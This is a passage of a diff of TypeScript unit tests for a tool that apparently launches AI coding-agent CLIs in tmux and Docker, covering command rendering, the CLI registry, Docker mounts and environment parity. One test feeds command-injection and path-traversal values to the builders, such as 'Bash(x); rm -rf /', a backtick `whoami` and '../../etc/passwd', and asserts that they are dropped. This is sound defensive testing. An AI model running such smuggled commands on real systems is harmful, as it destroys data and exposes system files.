expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit');
|
||||
});
|
||||
|
||||
it('reads its resume id through the legacy `resumeSession` alias', () => {
|
||||
expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe(
|
||||
'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('antigravity', () => {
|
||||
const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) =>
|
||||
render({ mode: 'antigravity', sessionId: SID, antigravityConfig });
|
||||
|
||||
it('runs `agy`, not `antigravity`', () => {
|
||||
// The mode name is not the binary name. Assuming it was is a bug this registry fixes.
|
||||
expect(ag()).toBe('agy');
|
||||
});
|
||||
|
||||
it('emits its flags', () => {
|
||||
expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe(
|
||||
'agy --dangerously-skip-permissions --model gemini-3-pro'
|
||||
);
|
||||
expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99');
|
||||
});
|
||||
});
|
||||
|
||||
describe('pi', () => {
|
||||
const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(pi()).toBe('pi');
|
||||
});
|
||||
|
||||
it('renders the full option set', () => {
|
||||
expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe(
|
||||
'pi --model sonnet:high --provider anthropic --thinking xhigh'
|
||||
);
|
||||
});
|
||||
|
||||
it('treats project trust as a TRI-state', () => {
|
||||
// Absent is a third state, not a synonym for false: it leaves pi to ask interactively.
|
||||
expect(pi({ approveProjectTrust: true })).toBe('pi --approve');
|
||||
expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve');
|
||||
expect(pi()).toBe('pi');
|
||||
});
|
||||
|
||||
it('prefers an explicit session id over -c', () => {
|
||||
expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
|
||||
expect(pi({ continueSession: true })).toBe('pi -c');
|
||||
expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
|
||||
});
|
||||
});
|
||||
|
||||
describe('grok', () => {
|
||||
const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(gk()).toBe('grok');
|
||||
});
|
||||
|
||||
it('emits its bypass flag only when asked', () => {
|
||||
expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5');
|
||||
expect(gk({ alwaysApprove: false })).toBe('grok');
|
||||
});
|
||||
|
||||
it('prefers an explicit resume id over --continue', () => {
|
||||
expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
|
||||
expect(gk({ continueSession: true })).toBe('grok --continue');
|
||||
expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
|
||||
});
|
||||
|
||||
it('never puts a credential on the command line', () => {
|
||||
// grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key
|
||||
// arg in its launch spec and there must never be one: the command line is visible to
|
||||
// every process on the box.
|
||||
const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? '';
|
||||
expect(cmd).not.toContain('key');
|
||||
expect(cmd).not.toContain('token');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deepseek', () => {
|
||||
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
|
||||
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
|
||||
|
||||
it('launches a named profile', () => {
|
||||
expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui');
|
||||
});
|
||||
|
||||
it('prefers an explicit resume id over the bare --resume', () => {
|
||||
expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42');
|
||||
expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume');
|
||||
});
|
||||
|
||||
it('never puts the permission mode on the command line', () => {
|
||||
// dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported
|
||||
// via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the
|
||||
// env-key drop are both looking at the wrong surface.
|
||||
const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? '';
|
||||
expect(cmd).toBe('dsh --profile p');
|
||||
expect(cmd).not.toContain('danger-full-access');
|
||||
expect(cmd).not.toContain('permission');
|
||||
});
|
||||
});
|
||||
|
||||
describe('shell', () => {
|
||||
it('renders no command at all', () => {
|
||||
// `undefined` is the signal to fall back to local login-shell resolution, which varies
|
||||
// per user's /etc/passwd entry and so cannot be templated. An empty string would be a
|
||||
// command, and a wrong one.
|
||||
expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('unsafe values are DROPPED, never escaped into the command', () => {
|
||||
// The hand-written builders silently omitted an argument whose value failed its allowlist,
|
||||
// rather than quoting it through. That is the behaviour being preserved: a rejected value
|
||||
// must not reach the CLI in ANY form, because "quoted but present" still lets a caller
|
||||
// steer the agent (a bogus --model, a traversal path as a session id).
|
||||
it.each([
|
||||
['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'],
|
||||
['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'],
|
||||
[
|
||||
'claude allowedTools',
|
||||
{ mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' },
|
||||
'rm',
|
||||
],
|
||||
])('%s', (_label, extra, forbidden) => {
|
||||
const cmd = claude(extra) ?? '';
|
||||
expect(cmd).not.toContain(forbidden);
|
||||
expect(cmd).not.toContain('`');
|
||||
expect(cmd).not.toContain(';');
|
||||
});
|
||||
|
||||
it('drops an unsafe pi model without falling back to a different one', () => {
|
||||
expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi');
|
||||
});
|
||||
|
||||
it('refuses a deepseek profile that is not a single path segment', () => {
|
||||
// A profile name is joined into a filesystem path as well as a shell line, so `../evil`
|
||||
// has to fail the token pattern rather than be quoted. With no valid name and no default
|
||||
// profile installed, the flag drops out entirely and dsh picks its own.
|
||||
const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? '';
|
||||
expect(cmd).not.toContain('evil');
|
||||
expect(cmd).not.toContain('..');
|
||||
});
|
||||
});
|
||||
@@ -18,7 +18,9 @@ import { mkdirSync, rmSync, writeFileSync, existsSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
import { program, resolveCliCasePath, resolveSkillTargetPath } from '../src/cli.js';
|
||||
import { getCasesDir } from '../src/config/cases-dir.js';
|
||||
|
||||
const LINKED_CASES_FILE = dataPath('linked-cases.json');
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
@@ -36,14 +38,18 @@ function writeLinkedCases(content: string): void {
|
||||
|
||||
beforeEach(() => {
|
||||
rmSync(LINKED_CASES_FILE, { force: true });
|
||||
rmSync(CASES_DIR, { recursive: true, force: true });
|
||||
rmSync(LINKED_ROOT, { recursive: true, force: true });
|
||||
safeRmHomeTree(CASES_DIR);
|
||||
safeRmHomeTree(LINKED_ROOT);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// LINKED_CASES_FILE is dataPath('linked-cases.json'), which test/setup.ts
|
||||
// sandboxes (temp HOME, and an inherited CODEMAN_DATA_DIR is stripped), so a
|
||||
// plain delete is safe here. The case trees still go through the containment
|
||||
// gate as defense in depth.
|
||||
rmSync(LINKED_CASES_FILE, { force: true });
|
||||
rmSync(CASES_DIR, { recursive: true, force: true });
|
||||
rmSync(LINKED_ROOT, { recursive: true, force: true });
|
||||
safeRmHomeTree(CASES_DIR);
|
||||
safeRmHomeTree(LINKED_ROOT);
|
||||
});
|
||||
|
||||
describe('resolveSkillTargetPath (global)', () => {
|
||||
@@ -142,3 +148,36 @@ describe('skill command wiring', () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('cases dir override (CODEMAN_CASES_PATH)', () => {
|
||||
// The Docker Compose deployment points Codeman at a host-absolute bind mount
|
||||
// so a Docker case resolves to the same path inside the container and on the
|
||||
// host daemon. The override shipped on the server's CASES_DIR only, which left
|
||||
// the CLI looking in the home default: `codeman skill install --case <name>`
|
||||
// then reported "Case not found" on exactly the deployment it exists for.
|
||||
const saved = process.env.CODEMAN_CASES_PATH;
|
||||
afterEach(() => {
|
||||
if (saved === undefined) delete process.env.CODEMAN_CASES_PATH;
|
||||
else process.env.CODEMAN_CASES_PATH = saved;
|
||||
});
|
||||
|
||||
it('moves the CLI and the server together', () => {
|
||||
process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases';
|
||||
expect(getCasesDir()).toBe('/srv/codeman-cases');
|
||||
expect(resolveCliCasePath('demo')).toBe(join('/srv/codeman-cases', 'demo'));
|
||||
});
|
||||
|
||||
it('falls back to the home default when unset', () => {
|
||||
delete process.env.CODEMAN_CASES_PATH;
|
||||
expect(getCasesDir()).toBe(CASES_DIR);
|
||||
expect(resolveCliCasePath('demo')).toBe(join(CASES_DIR, 'demo'));
|
||||
});
|
||||
|
||||
it('still lets a linked case win over the override', () => {
|
||||
// The registry lookup runs first, so a case linked in from outside the cases
|
||||
// dir keeps resolving to its real location under Compose too.
|
||||
process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases';
|
||||
writeLinkedCases(JSON.stringify({ linked: join(LINKED_ROOT, 'linked') }));
|
||||
expect(resolveCliCasePath('linked')).toBe(join(LINKED_ROOT, 'linked'));
|
||||
});
|
||||
});
|
||||
|
||||
@@ -401,7 +401,7 @@ describe('Session Manager unified list', () => {
|
||||
const [historyRecord, , historyOptions] = app._buildHistoryItem.mock.calls[1];
|
||||
expect(historyRecord).toMatchObject({ sessionId: 'conv-uuid-1', sizeBytes: 2048, firstPrompt: 'old prompt' });
|
||||
historyOptions.onActivate();
|
||||
expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old');
|
||||
expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old', undefined, undefined);
|
||||
});
|
||||
|
||||
it('surfaces an error message instead of an empty list when the endpoint fails', async () => {
|
||||
|
||||
@@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => {
|
||||
// Those sessions must keep the pane segmenter. Static, because standing up
|
||||
// a docker/remote session in the unit harness is exactly what the tmux
|
||||
// test-mode mocks exist to avoid.
|
||||
//
|
||||
// The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) —
|
||||
// which reader understands this CLI's on-disk history is exactly the kind of fact the
|
||||
// CLI registry owns. What this test guards is unchanged and is the part that matters:
|
||||
// the two LOCATION exclusions beside it.
|
||||
const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8');
|
||||
expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/);
|
||||
expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/);
|
||||
});
|
||||
|
||||
it('maps the harness lifecycle states onto real hook events', () => {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { DEPENDENCY_REGISTRY } from '../src/config/dependency-registry.js';
|
||||
import { dependencyRegistry } from '../src/config/dependency-registry.js';
|
||||
import {
|
||||
detectEnvironment,
|
||||
extractVersion,
|
||||
@@ -11,41 +11,73 @@ import {
|
||||
import type { ProbeHost } from '../src/utils/dependency-checker.js';
|
||||
import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js';
|
||||
import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js';
|
||||
import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js';
|
||||
import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js';
|
||||
import { enabledClis } from '../src/config/cli-registry/registry.js';
|
||||
|
||||
describe('DEPENDENCY_REGISTRY', () => {
|
||||
describe('dependencyRegistry()', () => {
|
||||
it('has unique ids', () => {
|
||||
const ids = DEPENDENCY_REGISTRY.map((t) => t.id);
|
||||
const ids = dependencyRegistry().map((t) => t.id);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
});
|
||||
|
||||
it('hard-requires only node and tmux; agent CLIs and office are optional', () => {
|
||||
const required = DEPENDENCY_REGISTRY.filter((t) => t.required)
|
||||
const required = dependencyRegistry()
|
||||
.filter((t) => t.required)
|
||||
.map((t) => t.id)
|
||||
.sort();
|
||||
expect(required).toEqual(['node', 'tmux']);
|
||||
// all agent CLIs are optional (Codeman runs any of them)
|
||||
const agentClis = ['claude', 'opencode', 'codex'];
|
||||
expect(DEPENDENCY_REGISTRY.filter((t) => agentClis.includes(t.id)).every((t) => t.required === false)).toBe(true);
|
||||
const office = DEPENDENCY_REGISTRY.filter((t) => t.category === 'office');
|
||||
expect(
|
||||
dependencyRegistry()
|
||||
.filter((t) => agentClis.includes(t.id))
|
||||
.every((t) => t.required === false)
|
||||
).toBe(true);
|
||||
const office = dependencyRegistry().filter((t) => t.category === 'office');
|
||||
expect(office.every((t) => t.required === false)).toBe(true);
|
||||
});
|
||||
|
||||
it('resolves pi through the SAME version rule the run mode uses', () => {
|
||||
// `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not
|
||||
// print semver. If the doctor did not apply the identical rule it would report
|
||||
// "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode
|
||||
// rather than a missing install. One regex, shared, is what keeps them agreeing.
|
||||
const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi');
|
||||
expect(pi).toBeDefined();
|
||||
const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path');
|
||||
it.each([
|
||||
['pi', PI_VERSION_REGEX],
|
||||
['grok', GROK_VERSION_REGEX],
|
||||
['dsh', DEEPSEEK_VERSION_REGEX],
|
||||
])('resolves %s through the SAME version rule the run mode uses', (id, expected) => {
|
||||
// These three have short, generic or squatted binary names, so their resolvers refuse a
|
||||
// binary that does not print the right shape of version. If the doctor did not apply the
|
||||
// identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which
|
||||
// reads as a broken mode rather than a missing install.
|
||||
//
|
||||
// Both sides now read one registry entry, so they cannot drift — but the assertion
|
||||
// compares SOURCE rather than object identity, because the doctor compiles the entry's
|
||||
// serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing
|
||||
// the resolver's own RegExp object.
|
||||
const tool = dependencyRegistry().find((t) => t.id === id);
|
||||
expect(tool).toBeDefined();
|
||||
const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path');
|
||||
expect(spec).toBeDefined();
|
||||
const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean };
|
||||
expect(resolver.requireVersionMatch).toBe(true);
|
||||
expect(resolver.versionRegex).toBe(PI_VERSION_REGEX);
|
||||
expect(resolver.versionRegex?.source).toBe(expected.source);
|
||||
});
|
||||
|
||||
it('keeps a doctor row for every CLI that has a binary to probe', () => {
|
||||
// An earlier draft of the registry refactor silently dropped the grok and dsh rows, so
|
||||
// `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation
|
||||
// from the registry so this cannot pass by being updated to match a shrunken table.
|
||||
const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0);
|
||||
expect(probeable.length).toBeGreaterThanOrEqual(8);
|
||||
for (const cli of probeable) {
|
||||
const bin = cli.discovery.binaries[0];
|
||||
const row = dependencyRegistry().find((t) =>
|
||||
t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin))
|
||||
);
|
||||
expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => {
|
||||
const ms = DEPENDENCY_REGISTRY.find((t) => t.id === 'msoffice');
|
||||
const ms = dependencyRegistry().find((t) => t.id === 'msoffice');
|
||||
expect(ms).toBeDefined();
|
||||
const spec = ms!.resolvers.find((r) => r.resolver.kind === 'windows-side');
|
||||
expect(spec).toBeDefined();
|
||||
|
||||
@@ -18,7 +18,9 @@ import {
|
||||
removeDockerContainer,
|
||||
checkDockerConfigDrift,
|
||||
dockerConfigHash,
|
||||
dockerAdoptProbeModes,
|
||||
} from '../src/docker-hosts.js';
|
||||
import { enabledCliIds, getCli } from '../src/config/cli-registry/index.js';
|
||||
import {
|
||||
buildDockerLaunchCommand,
|
||||
buildDockerStopCommand,
|
||||
@@ -201,15 +203,17 @@ describe('adopted container: claude as root', () => {
|
||||
describe('adopted container: the host is not required to have the CLI', () => {
|
||||
const src = readFileSync(new URL('../src/tmux-manager.ts', import.meta.url), 'utf8');
|
||||
|
||||
it('skips every host CLI requirement for a docker session', () => {
|
||||
it('skips the host CLI requirement for a docker session', () => {
|
||||
// A docker session runs its CLI inside the container. Demanding it on the
|
||||
// host threw, the catch fell back to a direct PTY, and that PTY tried to
|
||||
// exec the CLI on the HOST — surfacing as a bare `execvp(3) failed` with
|
||||
// nothing naming the real cause.
|
||||
const guarded = src.match(/!cliRunsInContainer && mode === '/g) || [];
|
||||
const unguarded = src.match(/\n if \(mode === '[a-z]+' && !cliDir\)/g) || [];
|
||||
expect(guarded.length).toBeGreaterThanOrEqual(7);
|
||||
expect(unguarded).toHaveLength(0);
|
||||
//
|
||||
// The CLI registry collapsed the old per-mode `mode === 'claude' && !cliDir` chain
|
||||
// into ONE `missingCliMessage(mode)` gate, so the guarantee is now that the single
|
||||
// gate carries the docker exemption and that no per-mode arm has grown back.
|
||||
expect(src).toContain('if (!cliRunsInContainer && !cliDir) {');
|
||||
expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull();
|
||||
});
|
||||
|
||||
it('derives the flag from the docker metadata the session already carries', () => {
|
||||
@@ -364,3 +368,23 @@ describe('adopted container: drift is not evaluated', () => {
|
||||
expect(status.drifted).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('adopted container: probe modes come from the CLI registry', () => {
|
||||
it('probes every enabled CLI, so a newly-enabled one needs no second list', () => {
|
||||
// A hand-written list here silently froze: `omp` shipped in 1.24.0 and was
|
||||
// missing from it, which hid the omp run mode on EVERY docker case — owned
|
||||
// ones included, since the run menu gates on this same probe.
|
||||
const modes = dockerAdoptProbeModes();
|
||||
expect(modes).toEqual(enabledCliIds());
|
||||
expect(modes).toContain('omp');
|
||||
expect(modes).toContain('shell');
|
||||
});
|
||||
|
||||
it('resolves the real binary name, not the mode name', () => {
|
||||
// `antigravity` ships as `agy` and `deepseek` as `dsh`, so a mode-name probe
|
||||
// would report both as missing on a container that has them.
|
||||
expect(getCli('antigravity')?.discovery.binaries[0]).toBe('agy');
|
||||
expect(getCli('deepseek')?.discovery.binaries[0]).toBe('dsh');
|
||||
expect(getCli('shell')?.discovery.binaries[0]).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
/**
|
||||
* @fileoverview Static parity check between docker/docker-compose.yaml and
|
||||
* docker/.env.example.
|
||||
*
|
||||
* This is the MERGE GATE for the container environment. A feature that needs a
|
||||
* new setting must add it to BOTH files; forgetting one is what produces the
|
||||
* failure the in-app updater cannot defend against, because Compose resolves an
|
||||
* unset `${VAR}` to the EMPTY STRING and starts anyway — the container comes up
|
||||
* with a silently blank setting and misbehaves later, far from the cause.
|
||||
*
|
||||
* Failing here costs a line in a PR. Failing in production costs a debugging
|
||||
* session on someone else's server. Related: docs/docker-self-update.md.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { parseEnvKeys } from '../src/web/self-update.js';
|
||||
|
||||
const DOCKER_DIR = join(process.cwd(), 'docker');
|
||||
const compose = readFileSync(join(DOCKER_DIR, 'docker-compose.yaml'), 'utf-8');
|
||||
const example = readFileSync(join(DOCKER_DIR, '.env.example'), 'utf-8');
|
||||
|
||||
/**
|
||||
* Every `${VAR}` / `${VAR:-default}` the compose file interpolates. Compose's
|
||||
* own built-ins are excluded — they are supplied by Compose, not by .env.
|
||||
*/
|
||||
function composeVariables(text: string): string[] {
|
||||
const found = new Set<string>();
|
||||
for (const m of text.matchAll(/\$\{([A-Z_][A-Z0-9_]*)(?::?-[^}]*)?\}/g)) found.add(m[1]);
|
||||
return [...found].sort();
|
||||
}
|
||||
|
||||
/** Keys .env.example mentions at all, including the commented-out optional ones. */
|
||||
function documentedKeys(text: string): Set<string> {
|
||||
const keys = new Set(parseEnvKeys(text));
|
||||
for (const m of text.matchAll(/^#\s*([A-Z_][A-Z0-9_]*)=/gm)) keys.add(m[1]);
|
||||
return keys;
|
||||
}
|
||||
|
||||
/**
|
||||
* Variables Compose or the start script provides, which therefore need no entry
|
||||
* in .env.example. Keep this list SHORT and justified — every addition is a
|
||||
* setting the parity check stops guarding.
|
||||
*/
|
||||
const PROVIDED_ELSEWHERE = new Set([
|
||||
// Derived by docker/Start-Codeman.sh from the appdata dir and socket owner.
|
||||
'PUID',
|
||||
'PGID',
|
||||
'DOCKER_SOCKET_GID',
|
||||
]);
|
||||
|
||||
/**
|
||||
* Keys .env.example sets for an OVERRIDE documented in docker/README.md (the
|
||||
* macvlan networking example), which the base compose file deliberately does not
|
||||
* read. They are settings for a file that is not this one, not dead entries.
|
||||
*/
|
||||
const EXAMPLE_ONLY_KEYS = new Set([
|
||||
'CODEMAN_MACVLAN_NETWORK',
|
||||
'CODEMAN_IPV4_ADDRESS',
|
||||
'CODEMAN_MAC_ADDRESS',
|
||||
'CODEMAN_MACVLAN_PARENT',
|
||||
'CODEMAN_MACVLAN_SUBNET',
|
||||
'CODEMAN_MACVLAN_GATEWAY',
|
||||
]);
|
||||
|
||||
describe('docker compose ↔ .env.example parity', () => {
|
||||
it('every variable the compose file reads is documented in .env.example', () => {
|
||||
const documented = documentedKeys(example);
|
||||
const undocumented = composeVariables(compose).filter((v) => !documented.has(v) && !PROVIDED_ELSEWHERE.has(v));
|
||||
expect(undocumented, `add these to docker/.env.example: ${undocumented.join(', ')}`).toEqual([]);
|
||||
});
|
||||
|
||||
it('every key .env.example SETS is actually read by the compose file', () => {
|
||||
// Commented-out entries are exempt: they document optional overrides and
|
||||
// example-only values (the macvlan block) that the base file never reads.
|
||||
const used = new Set(composeVariables(compose));
|
||||
const unused = parseEnvKeys(example).filter((k) => !used.has(k) && !EXAMPLE_ONLY_KEYS.has(k));
|
||||
expect(unused, `these are set in .env.example but unused: ${unused.join(', ')}`).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -80,6 +80,26 @@ describe('buildDockerLaunchCommand', () => {
|
||||
expect(cmd).toContain("docker start 'codeman-case-myproj'");
|
||||
});
|
||||
|
||||
it('avoids eager create expansion, tolerates a concurrent creator, and preserves real failures in compatibility mode', () => {
|
||||
const opts = launchOpts();
|
||||
opts.createContext.disableSwapLimit = true;
|
||||
const cmd = buildDockerLaunchCommand(opts);
|
||||
// No command substitution or shell variables: either could expand eagerly
|
||||
// before the inspect side of || short-circuits in a nested launch shell.
|
||||
expect(cmd).not.toContain('$(');
|
||||
expect(cmd).not.toContain('codeman_create_output');
|
||||
expect(cmd).toContain('if docker create');
|
||||
expect(cmd).toContain("'/tmp/codeman-create-1a2b3c4d5e6f.log'");
|
||||
// If another session created the case between inspect and create, re-inspect
|
||||
// succeeds and the losing creator continues without printing the conflict.
|
||||
expect(cmd).toContain("elif docker inspect 'codeman-case-myproj' >/dev/null 2>&1; then rm -f");
|
||||
expect(cmd).toContain('Your kernel does not support swap limit capabilities');
|
||||
expect(cmd).toContain('else sed');
|
||||
expect(cmd).toContain('>&2; rm -f');
|
||||
expect(cmd).toContain('; false; fi;');
|
||||
expect(cmd).not.toContain('--memory-swap');
|
||||
});
|
||||
|
||||
it('execs a TTY into the durable in-container tmux', () => {
|
||||
const cmd = buildDockerLaunchCommand(launchOpts());
|
||||
expect(cmd).toContain("exec docker exec -it --workdir '/home/arkon/cases/myproj'");
|
||||
|
||||
@@ -32,6 +32,7 @@ import {
|
||||
resolveClaudeJsonSeedMount,
|
||||
resolveDockerClaudeArtifacts,
|
||||
resolveDockerCredentialArtifacts,
|
||||
resolveDockerDaemonMountSource,
|
||||
toSessionDocker,
|
||||
writeDockerCases,
|
||||
writeDockerHosts,
|
||||
@@ -267,6 +268,32 @@ describe('buildDockerCreateArgs', () => {
|
||||
expect(s).not.toContain('--storage-opt');
|
||||
expect(buildDockerCreateArgs(ctx()).join(' ')).not.toContain('--gpus');
|
||||
});
|
||||
|
||||
it('omits the unsupported swap limit while retaining the memory limit when disabled', () => {
|
||||
const s = buildDockerCreateArgs(ctx({ disableSwapLimit: true })).join(' ');
|
||||
expect(s).toContain('--memory 4g');
|
||||
expect(s).not.toContain('--memory-swap');
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveDockerDaemonMountSource', () => {
|
||||
const runtimeHome = join(tmpdir(), 'codeman-runtime-home');
|
||||
const daemonHome = join(tmpdir(), 'codeman-daemon-home');
|
||||
|
||||
it('maps paths beneath the runtime HOME into the daemon-visible HOME', () => {
|
||||
const source = join(runtimeHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json');
|
||||
expect(resolveDockerDaemonMountSource(source, runtimeHome, daemonHome)).toBe(
|
||||
join(daemonHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json')
|
||||
);
|
||||
});
|
||||
|
||||
it('preserves direct-host and non-HOME sources', () => {
|
||||
const source = join(runtimeHome, '.claude', 'settings.json');
|
||||
expect(resolveDockerDaemonMountSource(source, runtimeHome)).toBe(source);
|
||||
|
||||
const outsideHome = join(tmpdir(), 'codeman-cases', 'test1');
|
||||
expect(resolveDockerDaemonMountSource(outsideHome, runtimeHome, daemonHome)).toBe(outsideHome);
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencode)', () => {
|
||||
@@ -329,6 +356,32 @@ describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencod
|
||||
expect(mounts).toEqual([]);
|
||||
expect(seedCopies).toEqual([]);
|
||||
});
|
||||
|
||||
it('omp: shares sessions/ RW (host-side history/resume reads), seeds config files only', () => {
|
||||
mkdirSync(join(home, '.omp', 'agent', 'sessions'), { recursive: true });
|
||||
writeFileSync(join(home, '.omp', 'agent', 'config.yml'), '');
|
||||
writeFileSync(join(home, '.omp', 'agent', 'mcp.json'), '{}');
|
||||
writeFileSync(join(home, '.omp', 'agent', 'models.yml'), '');
|
||||
writeFileSync(join(home, '.omp', 'agent', 'settings.yml'), '');
|
||||
// Regenerable local state that must NOT be seeded (mirrors the pi/grok exclusions).
|
||||
writeFileSync(join(home, '.omp', 'agent', 'agent.db'), '');
|
||||
mkdirSync(join(home, '.omp', 'agent', 'terminal-sessions'), { recursive: true });
|
||||
|
||||
const { mounts, seedCopies } = resolveDockerCredentialArtifacts(home);
|
||||
expect(mounts).toContainEqual({
|
||||
src: join(home, '.omp', 'agent', 'sessions'),
|
||||
dst: '/home/agent/.omp/agent/sessions',
|
||||
});
|
||||
const dests = seedCopies.map((s) => s.to);
|
||||
expect(dests).toContain('/home/agent/.omp/agent/config.yml');
|
||||
expect(dests).toContain('/home/agent/.omp/agent/mcp.json');
|
||||
expect(dests).toContain('/home/agent/.omp/agent/models.yml');
|
||||
expect(dests).toContain('/home/agent/.omp/agent/settings.yml');
|
||||
expect(dests).not.toContain('/home/agent/.omp/agent/agent.db');
|
||||
expect(mounts.some((m) => m.dst === '/home/agent/.omp/agent/terminal-sessions')).toBe(false);
|
||||
// seed copies of individual files are NOT recursive
|
||||
expect(seedCopies.filter((s) => s.to.startsWith('/home/agent/.omp')).every((s) => !s.recursive)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveDockerClaudeArtifacts (isolated claude state)', () => {
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
/**
|
||||
* @fileoverview Unit tests for the Docker Compose self-update path.
|
||||
*
|
||||
* Covers the PURE half of the container environment gate: which release changes
|
||||
* can be applied by the container restarting itself, and which must go back to
|
||||
* the host. The IO half (`evaluateEnvironmentGate`) shells out to git and docker
|
||||
* and is exercised by hand — see docs/docker-self-update.md.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
canSelfUpdateInPlace,
|
||||
computeEnvironmentBlockers,
|
||||
diffRequiredEnvKeys,
|
||||
isAutoRestartPolicy,
|
||||
parseEnvKeys,
|
||||
shouldRestartByExit,
|
||||
type EnvironmentGateInput,
|
||||
} from '../src/web/self-update.js';
|
||||
|
||||
/** A gate input where nothing has changed — each test perturbs one field. */
|
||||
const CLEAN: EnvironmentGateInput = {
|
||||
appliedDockerfileHash: 'aaa',
|
||||
targetDockerfileHash: 'aaa',
|
||||
appliedComposeHash: 'bbb',
|
||||
targetComposeHash: 'bbb',
|
||||
missingEnvKeys: [],
|
||||
restartPolicy: 'unless-stopped',
|
||||
};
|
||||
|
||||
describe('canSelfUpdateInPlace', () => {
|
||||
it('accepts git and docker-compose, rejects npm and unknown', () => {
|
||||
